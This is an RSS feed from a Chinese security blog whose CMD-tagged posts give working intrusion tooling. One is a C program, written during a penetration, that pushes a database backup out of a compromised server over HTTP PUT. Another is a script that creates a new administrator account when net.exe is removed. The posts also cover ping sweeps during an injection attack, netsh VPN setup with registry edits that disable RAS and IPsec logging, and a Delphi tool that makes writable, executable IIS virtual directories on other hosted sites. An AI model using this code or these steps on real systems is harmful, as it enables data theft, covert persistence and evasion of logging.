<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; CMD</title>
	<atom:link href="http://www.4shell.org/archives/tag/cmd/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Tue, 31 Jan 2012 12:43:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>命令行下的PUT方式上传大文件</title>
		<link>http://www.4shell.org/archives/888.html</link>
		<comments>http://www.4shell.org/archives/888.html#comments</comments>
		<pubDate>Sat, 18 Jul 2009 03:00:30 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/888.html</guid>
		<description><![CDATA[信息来源：邪恶八进制信息安全团队(www.eviloctal.com) 注：文章首发I.S.T.O信息安全团队，后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有，转载需注明作者。 最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序. 代码: #include &#60;winsock2.h&#62; #include &#60;windows.h&#62; #include &#60;stdio.h&#62; #include &#60;wininet.h&#62; #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "wininet.lib") void Usage (char *name);//帮助信息 BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile) { INTERNET_BUFFERS BufferIn = {0}; DWORD dwBytesRead; DWORD dwBytesWritten; BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件 BOOL bRead, bRet; BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS ); [...]]]></description>
			<content:encoded><![CDATA[<p>信息来源：邪恶八进制信息安全团队(www.eviloctal.com)</p>
<p>注：文章首发I.S.T.O信息安全团队，后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有，转载需注明作者。<br />
最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序.</p>
<p>代码:</p>
<blockquote><p><code>#include &lt;winsock2.h&gt;<br />
#include &lt;windows.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;wininet.h&gt;<br />
#pragma comment(lib, "ws2_32.lib")<br />
#pragma comment(lib, "wininet.lib")</code></p>
<p>void Usage (char *name);//帮助信息</p>
<p>BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile)<br />
{<br />
INTERNET_BUFFERS <span onclick="tagshow(event)">Buffer</span>In = {0};<br />
DWORD dwBytesRead;<br />
DWORD dwBytesWritten;<br />
BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件</p>
<p>BOOL bRead, bRet;</p>
<p>BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );<br />
//使用put方式上传文件:<br />
HINTERNET hRequest = HttpOpenRequest (hConnect, "PUT",<br />
localFile, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);<br />
if (!hRequest)<br />
{<br />
printf("Failed to open request handle: %lu\n", GetLastError ());<br />
return FALSE;<br />
}</p>
<p>//打开指定的文件:<br />
HANDLE hFile = CreateFile (upFile, GENERIC_READ, FILE_SHARE_READ,<br />
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);<br />
if (hFile == INVALID_HANDLE_VALUE)<br />
{<br />
printf("\nFailed to open local file %s.", upFile);<br />
return FALSE;<br />
}</p>
<p>BufferIn.dwBufferTotal = GetFileSize (hFile, NULL);<br />
printf ("File size is %d\n", BufferIn.dwBufferTotal );</p>
<p>if(!HttpSendRequestEx( hRequest, &amp;BufferIn, NULL, HSR_INITIATE, 0))<br />
{<br />
printf( "Error on HttpSendRequestEx %lu\n",GetLastError() );<br />
return FALSE;<br />
}</p>
<p>DWORD sum = 0;<br />
do<br />
{<br />
if  (!(bRead = ReadFile (hFile, pBuffer, sizeof(pBuffer),&amp;dwBytesRead, NULL)))<br />
{<br />
printf ("\nReadFile failed on buffer %lu.",GetLastError());<br />
break;<br />
}<br />
if (!(bRet=InternetWriteFile( hRequest, pBuffer, dwBytesRead,&amp;dwBytesWritten)))<br />
{<br />
printf ("\nInternetWriteFile failed %lu", GetLastError());<br />
break;<br />
}<br />
sum += dwBytesWritten;<br />
}<br />
while (dwBytesRead == sizeof(pBuffer)) ;</p>
<p>CloseHandle (hFile);<br />
printf ("Actual written bytes: %d\nupload %s successed!\n", sum,localFile);</p>
<p>//结束一个HTTP请求:<br />
if(!HttpEndRequest(hRequest, NULL, 0, 0))<br />
{<br />
printf( "Error on HttpEndRequest %lu \n", GetLastError());<br />
return FALSE;<br />
}<br />
return TRUE;<br />
}</p>
<p>int main(int argc, char **argv)</p>
<p>{<br />
//put 127.0.0.1 /1.db c:\\wmpub\\1.exe<br />
if(argc!=4)<br />
{<br />
Usage(argv[0]);<br />
return 0;<br />
}</p>
<p>//char *ServerName="127.0.0.1"; //这里填写URL地址<br />
char *ServerName=argv[1];</p>
<p>HINTERNET hSession = InternetOpen("HttpSendRequest",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //同步方式<br />
if(!hSession){<br />
printf("Failed to open InternetOpen\n");<br />
exit(0);<br />
}<br />
//连接到一个http服务:<br />
HINTERNET hConnect = InternetConnect(hSession,<br />
ServerName,<br />
INTERNET_DEFAULT_HTTP_PORT, //连接到80端口,可以修改成任意端口,比如53<br />
NULL,<br />
NULL,<br />
INTERNET_SERVICE_HTTP, //服务类型HTTP，FTP或Gopher<br />
0,<br />
1);</p>
<p>if(!hConnect)<br />
{<br />
printf("error InternetConnect\n");<br />
return 0;<br />
}</p>
<p>//TCHAR *putfile="c:\\wmpub\\1.exe"; //上传的程序<br />
TCHAR *putfile=argv[3];<br />
TCHAR *putlocalfile=argv[2];<br />
BOOL sigh;<br />
sigh=UseHttpSendReqEx(hConnect,putfile,putlocalfile);<br />
if(!sigh)<br />
{<br />
printf("error UseHttpSendReqEx\n");<br />
return 0;<br />
}</p>
<p>return 0;<br />
}</p>
<p>//输出帮助的典型方法:<br />
void Usage (char *name)<br />
{<br />
fprintf(stderr,"===============================================================================\n"<br />
"\t名称：利用PUT上传300M的大文件\n"<br />
"\t环境：Win2003+Visual C++ 6.0\n"<br />
"\t作者：pt007@vip.sina.com\n"<br />
"\tQQ：  7491805\n"<br />
"\t声明：本软件由pt007原创，转载请注明出处，谢谢!\n"<br />
"\t使用说明:1.db为上传后保存后的文件,c:\\wmpub\\1.exe为本地要上传的大文件,\n\t需要<span onclick="tagshow(event)">IIS</span>里面设置允许写入!\n"<br />
"\t例子:%s 192.168.1.101 /1.db c:\\wmpub\\1.exe\n"<br />
"===============================================================================\n",name);<br />
}</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年07月15日 -- <a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li><li>2007年05月9日 -- <a href="http://www.4shell.org/archives/190.html" title="CMD下建立VPN">CMD下建立VPN</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/117.html" title="命令行下建立虚拟目录">命令行下建立虚拟目录</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/116.html" title="netsh配置防火墙">netsh配置防火墙</a></li><li>2006年11月15日 -- <a href="http://www.4shell.org/archives/112.html" title="加密CMD使电脑溢出也拿不到CMD权限">加密CMD使电脑溢出也拿不到CMD权限</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/13.html" title="cmd.aspx">cmd.aspx</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/888.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>命令行下一种新的加帐号的方法</title>
		<link>http://www.4shell.org/archives/878.html</link>
		<comments>http://www.4shell.org/archives/878.html#comments</comments>
		<pubDate>Wed, 15 Jul 2009 14:58:58 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=878</guid>
		<description><![CDATA[作者：lcx 今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下： js: var o=new ActiveXObject( "Shell.Users" ); z=o.create("test") ; z.changePassword("123456","") z.setting("AccountType")=3; vbs: Set o=CreateObject( "Shell.Users" ) Set z=o.create("test") z.changePassword "123456","" z.setting("AccountType")=3 相关文章2009年07月18日 -- 命令行下的PUT方式上传大文件2008年10月29日 -- CMD下设置网关2007年05月9日 -- CMD下建立VPN2006年11月26日 -- 命令行下建立虚拟目录2006年11月26日 -- netsh配置防火墙2006年11月15日 -- 加密CMD使电脑溢出也拿不到CMD权限2006年09月21日 -- Do All in CmdShell2006年09月21日 -- cmd.aspx]]></description>
			<content:encoded><![CDATA[<p>作者：<a href="http://hi.baidu.com/myvbscript/blog/item/cfc53df58c68a82cbd3109e8.html" target="_blank">lcx</a></p>
<p>今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下：</p>
<p>js:</p>
<blockquote>
<pre><code>var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;</code></pre>
</blockquote>
<p>vbs:</p>
<blockquote>
<pre><code>Set  o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3</code></pre>
</blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年07月18日 -- <a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li><li>2007年05月9日 -- <a href="http://www.4shell.org/archives/190.html" title="CMD下建立VPN">CMD下建立VPN</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/117.html" title="命令行下建立虚拟目录">命令行下建立虚拟目录</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/116.html" title="netsh配置防火墙">netsh配置防火墙</a></li><li>2006年11月15日 -- <a href="http://www.4shell.org/archives/112.html" title="加密CMD使电脑溢出也拿不到CMD权限">加密CMD使电脑溢出也拿不到CMD权限</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/13.html" title="cmd.aspx">cmd.aspx</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/878.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CMD下设置网关</title>
		<link>http://www.4shell.org/archives/495.html</link>
		<comments>http://www.4shell.org/archives/495.html#comments</comments>
		<pubDate>Wed, 29 Oct 2008 00:51:13 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[网关]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/495.html</guid>
		<description><![CDATA[<p>上次导数据库的时候不幸把这个导丢了,今天刚好注射攻击的时候,那数据库机器没设置网关,那就自己加一个先试试看了,搞不好可以直接上网了,网关的ip不知道,只好写个批处理来探测,看运气咯<br /><br />FOR&#160;/L&#160;%I&#160;in&#160;(1,1,255)&#160;DO&#160;PING&#160;192.168.1.%I&#160;-n&#160;1&#160;-w&#160;100&#160;&#62;&#62;&#160;c:\ping.txt</p>...
]]></description>
			<content:encoded><![CDATA[<p>上次导数据库的时候不幸把这个导丢了,今天刚好注射攻击的时候,那数据库机器没设置网关,那就自己加一个先试试看了,搞不好可以直接上网了,网关的ip不知道,只好写个批处理来探测,看运气咯</p>
<p>FOR&nbsp;/L&nbsp;%I&nbsp;in&nbsp;(1,1,255)&nbsp;DO&nbsp;PING&nbsp;192.168.1.%I&nbsp;-n&nbsp;1&nbsp;-w&nbsp;100&nbsp;&gt;&gt;&nbsp;c:\ping.txt</p>
<p>然后查看ping.txt的结果,一台一台测试过去<br />for&nbsp;/l&nbsp;%p&nbsp;in&nbsp;(1,1,254)&nbsp;do&nbsp;@ping&nbsp;192.168.1.%p&nbsp;-n&nbsp;1&nbsp;|find&nbsp;&quot;reply&nbsp;from&quot;&nbsp;/i&nbsp;&nbsp;&gt;&gt;c:\ping.txt</p>
<p>上面这条命令可以把能ping通的机器单独整理出来<br />修改网关的命令如下:<br />cmd&nbsp;/c&nbsp;netsh&nbsp;interface&nbsp;ip&nbsp;set&nbsp;address&nbsp;name=&quot; 本地连 接&quot;&nbsp;source=static&nbsp;addr=192.168.1.100&nbsp;mask=255.255.255.0&nbsp;gateway=192.168.1.1&nbsp;gwmetric=1</p>
<p>修改DNS<br />cmd&nbsp;/c&nbsp;netsh&nbsp;interface&nbsp;ip&nbsp;set&nbsp;dns&nbsp;name=&quot;本地连接&quot;&nbsp;source=static&nbsp;addr=61.134.1.9</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年07月18日 -- <a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li><li>2009年07月15日 -- <a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li><li>2007年05月9日 -- <a href="http://www.4shell.org/archives/190.html" title="CMD下建立VPN">CMD下建立VPN</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/117.html" title="命令行下建立虚拟目录">命令行下建立虚拟目录</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/116.html" title="netsh配置防火墙">netsh配置防火墙</a></li><li>2006年11月15日 -- <a href="http://www.4shell.org/archives/112.html" title="加密CMD使电脑溢出也拿不到CMD权限">加密CMD使电脑溢出也拿不到CMD权限</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/13.html" title="cmd.aspx">cmd.aspx</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/495.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CMD下建立VPN</title>
		<link>http://www.4shell.org/archives/190.html</link>
		<comments>http://www.4shell.org/archives/190.html#comments</comments>
		<pubDate>Wed, 09 May 2007 15:38:48 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/190.html</guid>
		<description><![CDATA[1.前提<br />服务里&#160;windows防火墙停止（或者麻烦点可以把router协议，端口1723配进去）<br />远程注册表服务必须开启<br />server服务必须开启<br />router路由服务必须开启
]]></description>
			<content:encoded><![CDATA[<p>1.前提<br />
服务里 windows防火墙停止（或者麻烦点可以把router协议，端口1723配进去）<br />
远程注册表服务必须开启<br />
server服务必须开启<br />
router路由服务必须开启</p>
<p>两块以上网卡的win2000做vpn很方便，添加nat协议后，客户端拨入，能够使用远程网络连接internet。 使得部分客户端可提高网络速度，并达到代理的作用。</p>
<p>一块网卡的winxp，win2003做类似的vpn仍然很方便，nat协议添加后，再添加两个接口，一个是本地连接，一个是内部，设置本地连接为全转发，内部为私有模式，既可让有权限的用户拨入。</p>
<p>一块网卡的win2000，做类似的vpn就不方便了，nat协议添加后，再添加接口，只可以添加上本地连接，内部不容许图形界面的添加，察看了netsh dump &gt;c:\1.txt后，尝试在netsh命令添加内部接口，通过。 命令为：netsh routing ip nat add interface 内部 private</p>
<p>下面是部分常用命令：</p>
<p>netsh ras set user username permit //设置用户授权，该用户不能为tsinternetuser support_388945a0等。</p>
<p>netsh ras ip set addrassign pool //设置静态地址池模式</p>
<p>netsh ras ip add range 10.0.0.1 10.0.0.100 // 设置静态池范围 ，要用标准的局域网地址，避免将来在访问internet时候地址转发错误。</p>
<p>netsh routing ip nat install //添加nat协议</p>
<p>netsh routing ip nat add interface 本地连接 full //添加nat接口本地连接全转发</p>
<p>netsh routing ip nat add interface 内部 private //添加nat借口内部私有模式</p>
<p>igmp同样可以在netsh配置，命令行很长：</p>
<p>netsh routing ip igmp install</p>
<p>netsh routing ip igmp add interface 内部 igmpprototype=IGMPRTRV2 ifenabled=enable robustvar=2 startupquerycount=2 startupqueryinterval=31 genqueryinterval=125 genqueryresptime=10 lastmemquerycount=2 lastmemqueryinterval=1000 accnonrtralertpkts=YES</p>
<p>netsh routing ip igmp add interface name="本地连接" igmpprototype=IGMPPROXY ifenabled=enable<br />
如果配置前已经有接口，就要先删除：</p>
<p>netsh routing ip igmp delete interface 内部 //与此类似</p>
<p>路由和远程访问服务会在系统、安全日记中记录不少信息，比如ipsec、登陆信息。</p>
<p>修改一下注册表可以避免：</p>
<p>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters</p>
<p>ProhibitIPsec"=dword:00000001</p>
<p>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters</p>
<p>LoggingFlags"=dword:00000000</p>
<p>现在除了登陆信息，ipsec,remoteaccess警告，已经不记录。</p>
<p>----------------------------------------</p>
<p>还有值得一提的是建立好地vpn，通常使用的都是pptp协议，tcp1723端口，如果我们在网卡的ip策略添加了tcp1723的容许条目，基本上可以拨入。为什么是基本呢，因为pptp除了 tcp1723外还有一个ip47号协议，不同于tcp不同于udp，此协议对于认证很重要。如果网络上的防火墙割断的话，会出现拨号-&gt;用户认证 -&gt;不通过认证断开的问题。</p>
<p>在配置vpn的时候，还需要remoteregister服务的支持，建立好以后可以关掉。</p>
<p>workstation , server,rpc同样在配置时候需要。</p>
<p>----------------------------------------</p>
<p>经测试，全命令行的建立vpn后，rrasmgmt.msc不出现具体配置信息。也就是说只有看网络连接文件夹，才能看出来一个拨入的连接</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年05月26日 -- <a href="http://www.4shell.org/archives/1933.html" title="Linux 安装基于PPTPD的vpn,内网渗透用">Linux 安装基于PPTPD的vpn,内网渗透用</a></li><li>2009年07月18日 -- <a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li><li>2009年07月15日 -- <a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li><li>2008年09月8日 -- <a href="http://www.4shell.org/archives/321.html" title="Windows2003单网卡下设置VPN网络">Windows2003单网卡下设置VPN网络</a></li><li>2008年08月30日 -- <a href="http://www.4shell.org/archives/314.html" title="网络加速器的秘密-VPN概念与安全">网络加速器的秘密-VPN概念与安全</a></li><li>2007年11月16日 -- <a href="http://www.4shell.org/archives/238.html" title="高级内网渗透工具:Paris (创建VPN)">高级内网渗透工具:Paris (创建VPN)</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/117.html" title="命令行下建立虚拟目录">命令行下建立虚拟目录</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/116.html" title="netsh配置防火墙">netsh配置防火墙</a></li><li>2006年11月15日 -- <a href="http://www.4shell.org/archives/112.html" title="加密CMD使电脑溢出也拿不到CMD权限">加密CMD使电脑溢出也拿不到CMD权限</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/190.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>命令行下建立虚拟目录</title>
		<link>http://www.4shell.org/archives/117.html</link>
		<comments>http://www.4shell.org/archives/117.html#comments</comments>
		<pubDate>Sun, 26 Nov 2006 02:04:04 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/117.html</guid>
		<description><![CDATA[文章作者：臭要饭的!<br /><br />很久，很久没有和大家聊天了，很想大家的。见面先就给大家送个小礼吧。其实也不是什么好东西。&#160;<br />在研究和学习中进步，没有研究，没有深入的去了解，就没有进步。认真的学习态度+穷追不舍+十万个为什么。&#160;<br />得到的结果就是成就！&#160;
]]></description>
			<content:encoded><![CDATA[<p>文章作者：臭要饭的!</p>
<p>很久，很久没有和大家聊天了，很想大家的。见面先就给大家送个小礼吧。其实也不是什么好东西。<br />
在研究和学习中进步，没有研究，没有深入的去了解，就没有进步。认真的学习态度+穷追不舍+十万个为什么。<br />
得到的结果就是成就！<br />
好了，屁话放了太多了。明白的人，不看上面的话都明白。不明白的人，看了也许永远也不会明白。</p>
<p>系统中有个VBS也可以实现这样的功能的。不过我认为，如果在台虚拟主机中，存在多个网站的情况下。<br />
建立虚拟目录，也只能在第一个默认的站点中。一般情况下虚拟主机默认是关掉的。也就是你建好了，通过HTTP也不能访问。<br />
从MSDN中，我找到了一些相关的技术资料，写了个小工具。可以建立在其它站点中。这里看来说起来有点混乱。</p>
<p>我举例给大家说说吧。<br />
拿个虚拟主机的 Internet 信息服务中的列表给大家看看就明白了</p>
<p>+默认 web 站点(已停止)<br />
+管理 web 站点(已停止)<br />
+163.com<br />
+263.com<br />
+363.com</p>
<p>好，上面大家看到了，有三个站点是开放的。而前面那个默认的已经被关闭了。<br />
这时，我们用VBS建立虚拟目录，是建立在默认的站点中，而站点被停止了，所以建立成功后，也不能访问。<br />
比如：我们怎么能在263.com这个站中，建立一个目录，比如:VDIR,通过http://www.163.com/VDIR就可以访问了呢？<br />
通过查找资料，我得到了，在建立的时候，允许指定一个序号，比如：1..N</p>
<p>1 : 表示，在默认的站点中，然后按着这个顺序来，而363.com对应的序号就是5.<br />
明白了这个道理后，用程序来实现这个功能就比较简单了。当然，你会说，那么我想在263.com这个站中，建立。<br />
但是我不知道，这个站对应的序号是多少，对于这个问题，我们只能从序号3开始一直往下建立，(1,2对应的是前面默认的)<br />
当建立一个后，可以读出他的配置信息，返回给大家。建一个后，你就明白是不是建立在你想要建的那个站中，如果不是。<br />
也可以把他删掉。再增加序号。：）（有没有一个工具，可以在命令行下，实现把所有的主机站点信息，比如:名称，对应目录之类的列出来?原理差不多，你看完代码应该会写了）</p>
<p>以下是代码:<br />
program VDir;</p>
<p>{$APPTYPE CONSOLE}</p>
<p>uses<br />
ActiveX,SysUtils,ComObj;<br />
Var<br />
VName,<br />
VPath,<br />
Vattrib : String;</p>
<p>createVpath : Boolean;<br />
WebIndex : integer;</p>
<p>Procedure ShowHelp;<br />
Begin<br />
WriteLn('=========== VDir by CYFD! ============');<br />
WriteLn('');<br />
WriteLn('Useag:'+ParamStr(0)+' &lt;-n:VName&gt; &lt;-p:VPath&gt; &lt;-i:WebIndex&gt; &lt;-c:CmdType&gt; [-r:Vattrib]');<br />
WriteLn('');<br />
WriteLn('Sample:'+ParamStr(0)+' -n:yfd -p:c:\ -i:1 -c:1 -r:0,1,3');<br />
WriteLn('');<br />
WriteLn(' CmdType :');<br />
WriteLn(' 1 : create');<br />
WriteLn(' 0 : delete');<br />
WriteLn(' Vattrib :');<br />
WriteLn(' 0 : AccessScript');<br />
WriteLn(' 1 : AccessRead');<br />
WriteLn(' 2 : AccessWrite');<br />
WriteLn(' 3 : AccessExecute');<br />
WriteLn(' 4 : EnableDirBrowsing');<br />
End;</p>
<p>Procedure ParseParam(Str : String);<br />
var<br />
tStr : String;<br />
Begin<br />
tStr := lowercase(Copy(Str,1,3));<br />
if tStr='-n:' then<br />
VName := Copy(Str,4,Length(Str));<br />
if tStr='-p:' then<br />
VPath := Copy(Str,4,Length(Str));<br />
if tStr='-c:' then<br />
createVpath := StrToIntDef(Copy(Str,4,Length(Str)),1) = 1;<br />
if tStr='-r:' then<br />
Vattrib := Copy(Str,4,Length(Str));<br />
if tStr='-i:' then<br />
WebIndex := StrToIntDef(Copy(Str,4,Length(Str)),1);</p>
<p>End;</p>
<p>Function GetStrForSpace(SourceStr :String ; JGZF:char ; Index:integer):String;<br />
var<br />
Pchar1 : pchar;<br />
i , count : integer;<br />
cStr : string;<br />
begin<br />
Count := 0;<br />
Pchar1 := pchar(SourceStr);<br />
cStr := '';<br />
for i:=0 to length(Pchar1)-1 do begin<br />
if pchar1 = JGZF then<br />
begin<br />
Count := Count + 1;<br />
if Count = Index then begin<br />
break;<br />
end;<br />
end<br />
else if Count = Index -1 then cStr := cStr + pchar1;<br />
end;<br />
Result := cStr;<br />
end;</p>
<p>procedure createVDir(Vdirpath:string);<br />
var<br />
WebSite, WebServer, WebRoot, VDir,Binds: Variant;<br />
BindStr : String;<br />
begin<br />
Try<br />
WebSite := createOleObject('IISNamespace');<br />
WebSite := WebSite.GetObject('IIsWebService', 'localhost/w3svc');<br />
WebServer := WebSite.GetObject('IIsWebServer', IntTostr(WebIndex));</p>
<p>// 这里的WebIndex就是你要建立的序号.</p>
<p>WebRoot := WebServer.GetObject('IIsWebVirtualDir', 'Root');</p>
<p>if createVpath then Begin<br />
VDir := WebRoot.create('IIsWebVirtualDir', VName);<br />
Vdir.AccessScript := pos(',0,',Vattrib) &gt;0;<br />
VDir.AccessRead := pos(',1,',Vattrib) &gt;0;<br />
VDir.AccessWrite := pos(',2,',Vattrib) &gt;0;<br />
VDir.AccessExecute := pos(',3,',Vattrib) &gt;0;<br />
VDir.EnableDirBrowsing := pos(',4,',Vattrib) &gt;0;</p>
<p>// 以上几行是为你建立的目录设访问权限。可写，可读，可执行，可流览...</p>
<p>VDir.Path :=VDirPath;<br />
VDir.SetInfo;</p>
<p>Binds := WebServer.ServerBindings;<br />
BindStr := Binds[0]+':';<br />
WriteLn('');<br />
WriteLn('Result :');<br />
WriteLn('');<br />
WriteLn('IP : '+ GetStrForSpace(BindStr,':',1));<br />
WriteLn('Port : '+ GetStrForSpace(BindStr,':',2));<br />
WriteLn('HostName : '+ GetStrForSpace(BindStr,':',3));<br />
WriteLn('');<br />
WriteLN('Path Is: ' + WebRoot.Path);<br />
WriteLN('Index IS: ' + IntTostr(WebIndex));<br />
WriteLn('Comment : ' + WebServer.ServerComment);</p>
<p>// 上面几行就是得到站点的一些信息，IP，端口，主机名，路径，等等..</p>
<p>WriteLn('');<br />
WriteLn('create success.');<br />
End<br />
Else Begin<br />
WebRoot.delete('IIsWebVirtualDir', VName);<br />
Writeln('delete Success.');<br />
End;<br />
Except<br />
WriteLn('Fail.');<br />
End;</p>
<p>end;</p>
<p>Var<br />
i : integer;<br />
begin</p>
<p>coinitialize(nil);<br />
if ParamCount &lt;4 then Begin<br />
ShowHelp;<br />
Exit;<br />
End;</p>
<p>For i:=1 to ParamCount do<br />
ParseParam(Paramstr(i));</p>
<p>if (ParamCount = 5) and (Vattrib ='') then Begin<br />
ShowHelp;<br />
Exit;<br />
End;<br />
Vattrib := ','+Vattrib+',';<br />
createVDir(VPath);</p>
<p>{ TODO -oUser -cConsole Main : insert code here }</p>
<p>end.<br />
代码可以用COPY到记事本中，然后保存为VDIR.DPR 文件，用DELPHI打开编译一下就行了。</p>
<p>使用方法:<br />
我要在默认站点(序号为1)中建立一个，可读，可写，可注浏览的目录，名称为: yfd 路径为c:<br />
那么这么使用:</p>
<p>D:VDir.exe -n:yfd -p:c: -i:1 -c:1 -r:1,2,4</p>
<p>程序帮助显示:<br />
Useag:VDir.exe &lt;-n:VName&gt; &lt;-p:VPath&gt; &lt;-i:WebIndex&gt; &lt;-c:CmdType&gt; [-r:Vattrib]</p>
<p>Sample:D:VDir.exe -n:yfd -p:c: -i:1 -c:1 -r:0,1,3</p>
<p>CmdType :<br />
1 : create<br />
0 : delete<br />
Vattrib :</p>
<p>0 : AccessScript (脚本访问)<br />
1 : AccessRead (可读)<br />
2 : AccessWrite (可写)<br />
3 : AccessExecute (可执行)<br />
4 : EnableDirBrowsing (可浏览)</p>
<p>-n: 建立的目录名称</p>
<p>-P: 建立的目录路径</p>
<p>-i: 序号</p>
<p>-c: (1表示建立,0表示删除)</p>
<p>-r: (当选择建立的时候,请输入他相应的访问权限值,删除的时候可以不写).</p>
